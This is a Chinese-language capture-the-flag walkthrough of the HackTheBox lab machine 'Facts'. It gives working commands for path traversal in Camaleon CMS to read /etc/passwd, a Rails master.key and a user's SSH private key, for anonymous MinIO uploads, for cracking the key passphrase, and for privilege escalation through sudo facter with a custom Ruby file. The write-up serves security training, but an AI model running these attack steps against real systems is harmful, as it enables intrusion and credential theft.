HTB 靶机渗透攻略:Facts.htb
从信息收集到 Root 权限的完整攻击链解析攻击链总结端口扫描→ 发现 Web 应用 (80) 和 MinIO (54321)Web 指纹→ 识别 Camaleon CMS 2.9.0目录爆破→ 发现后台注册、登录、Media 管理权限获取→ 注册普通用户进入后台漏洞利用→ 利用路径遍历 (CVE-2026-1776) 读取敏感文件密钥获取→ 读取 master.key 和加密凭据尝试解密失败密钥生成→ 读取数据库 admin 哈希破解失败密钥突破→ 读取用户私钥破解密码 “dragonballz”初始访问→ SSH 登录 trivia 用户提权→ sudo facter 加载恶意 Ruby 文件读取 root flag1. 初始侦察端口与服务发现首先对目标 IP10.129.244.96进行全端口 TCP SYN 扫描获取开放端口nmap -p-65535 -T4 --min-rate1000 -sS -Pn 10.129.244.96结果22/tcp— OpenSSH (Ubuntu)80/tcp— HTTP (nginx 1.26.3)54321/tcp— 未知服务 (后续识别为 MinIO)关键决策端口 54321 是一个非标准端口后续单独扫描版本信息。2. Web 应用指纹识别与路径暴力破解访问http://facts.htb发现是一个名为 “facts” 的网站响应头中有_factsapp_session页面引用了camaleon_first主题和/assets/camaleon_cms/...路径初步判断为Camaleon CMS(Ruby on Rails 应用)。添加域名解析后使用 gobuster 进行目录爆破gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,js,css -t 50发现关键路径/admin→ 302 重定向到/admin/login/admin/register→ 注册页面/admin/media→ 文件管理器/search→ 搜索功能/ajax→ AJAX 接口/up→ 健康检查端点线索关联Camaleon CMS 历史上存在文件上传和路径遍历漏洞为后续突破奠定基础。3. 注册账户进入后台与版本确认访问/admin/register创建账户testuser123 / Test1234!成功登录后台在 Dashboard 底部发现版本信息Camaleon CMS 2.9.0。浏览后台功能发现Media 管理中存在文件上传功能但上传 PHP 文件时被拦截File format not allowed (image)。尝试上传 .pht、.phtml、图片马等均失败或服务器返回 500 错误上传的图片马在/randomfacts/shell.png可访问但不解析 PHP。阻塞点直接上传 webshell 这条路被堵死需要寻找其他攻击面。4. 发现 MinIO 服务并尝试匿名写入对端口 54321 进行服务版本探测nmap -sV -p 54321 10.129.244.96识别为MinIO对象存储服务器。进一步测试发现访问/randomfacts/返回 XML 存储桶列表 → 允许匿名读取使用 PUT 请求上传测试文件成功 → 允许匿名写入curl -v -X PUT http://10.129.244.96:54321/randomfacts/test_upload.php -d /tmp/test_upload.php返回 200 OK且文件出现在存储桶列表中。但通过 Web 访问该文件时PHP 代码未被解析仅作为文本显示。关键点MinIO 匿名读写权限存在但存储桶目录不执行 PHP需要寻找其他方式获取代码执行或凭据。5. 利用路径遍历漏洞任意文件读取根据 Camaleon CMS 2.9.0 已知漏洞后台/admin/media/download_private_file端点存在路径遍历允许已认证用户读取任意系统文件。成功读取/etc/passwd确认漏洞存在http://facts.htb/admin/media/download_private_file?file../../../etc/passwd此漏洞成为后续信息收集的**核心手段**。6. 获取 Rails 应用敏感文件利用路径遍历读取 Rails 应用根目录下的关键文件Puma 配置../../../proc/self/cwd/config/puma.rb→ 确认应用路径master.key../../../proc/self/cwd/config/master.key→ 获取解密凭据的主密钥b0650437b2208a9fab449fb92f67bc40credentials.yml.enc加密的凭据文件database.yml确认使用 SQLite3数据库路径storage/production.sqlite3Gemfile.lock确认 Rails 版本 (8.0.2.1) 及 activesupport 版本尝试多种方式解密凭据文件均失败mismatched digest暂时搁置。7. 提取数据库并破解管理员哈希失败下载生产数据库http://facts.htb/admin/media/download_private_file?file../../../proc/self/cwd/storage/production.sqlite3用 sqlite3 查询用户表得到 admin 用户的 bcrypt 哈希$2a$12$9lLBXaBzcTxohKjxX08aR.WmE7qyhwpl0NGGBLbKDi6t.PB5zdJcK使用 hashcat / john 破解速度极慢放弃此路。8. 获取加密 SSH 私钥并破解密码通过路径遍历读取 SSH 配置文件/etc/ssh/sshd_config确认允许公钥认证。尝试读取用户trivia的私钥http://facts.htb/admin/media/download_private_file?file../../../home/trivia/.ssh/id_ed25519成功获取加密的 OpenSSH 私钥。使用 ssh2john 提取哈希并破解ssh2john id_ed25519_trivia trivia.hash john --wordlist/usr/share/wordlists/rockyou.txt --rules trivia.hash几分钟后破解出密码dragonballz9. SSH 登录获得初始 Shellssh -i id_ed25519_trivia triviafacts.htb Enter passphrase for key: dragonballz成功以trivia用户登录用户组为trivia。10. 本地提权 (root)执行sudo -l发现关键信息User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facterfacter是 Puppet 的系统信息收集工具支持加载自定义 Ruby 事实文件。利用此功能读取 root flagmkdir -p /tmp/facts cat /tmp/facts/root_flag.rb EOF Facter.add(root_flag) do setcode do File.read(/root/root.txt).strip end end EOF sudo /usr/bin/facter --custom-dir /tmp/facts root_flag输出 root flag。11. 获取 Flag92ca4cf1425d687fc3feba97d5ff9b79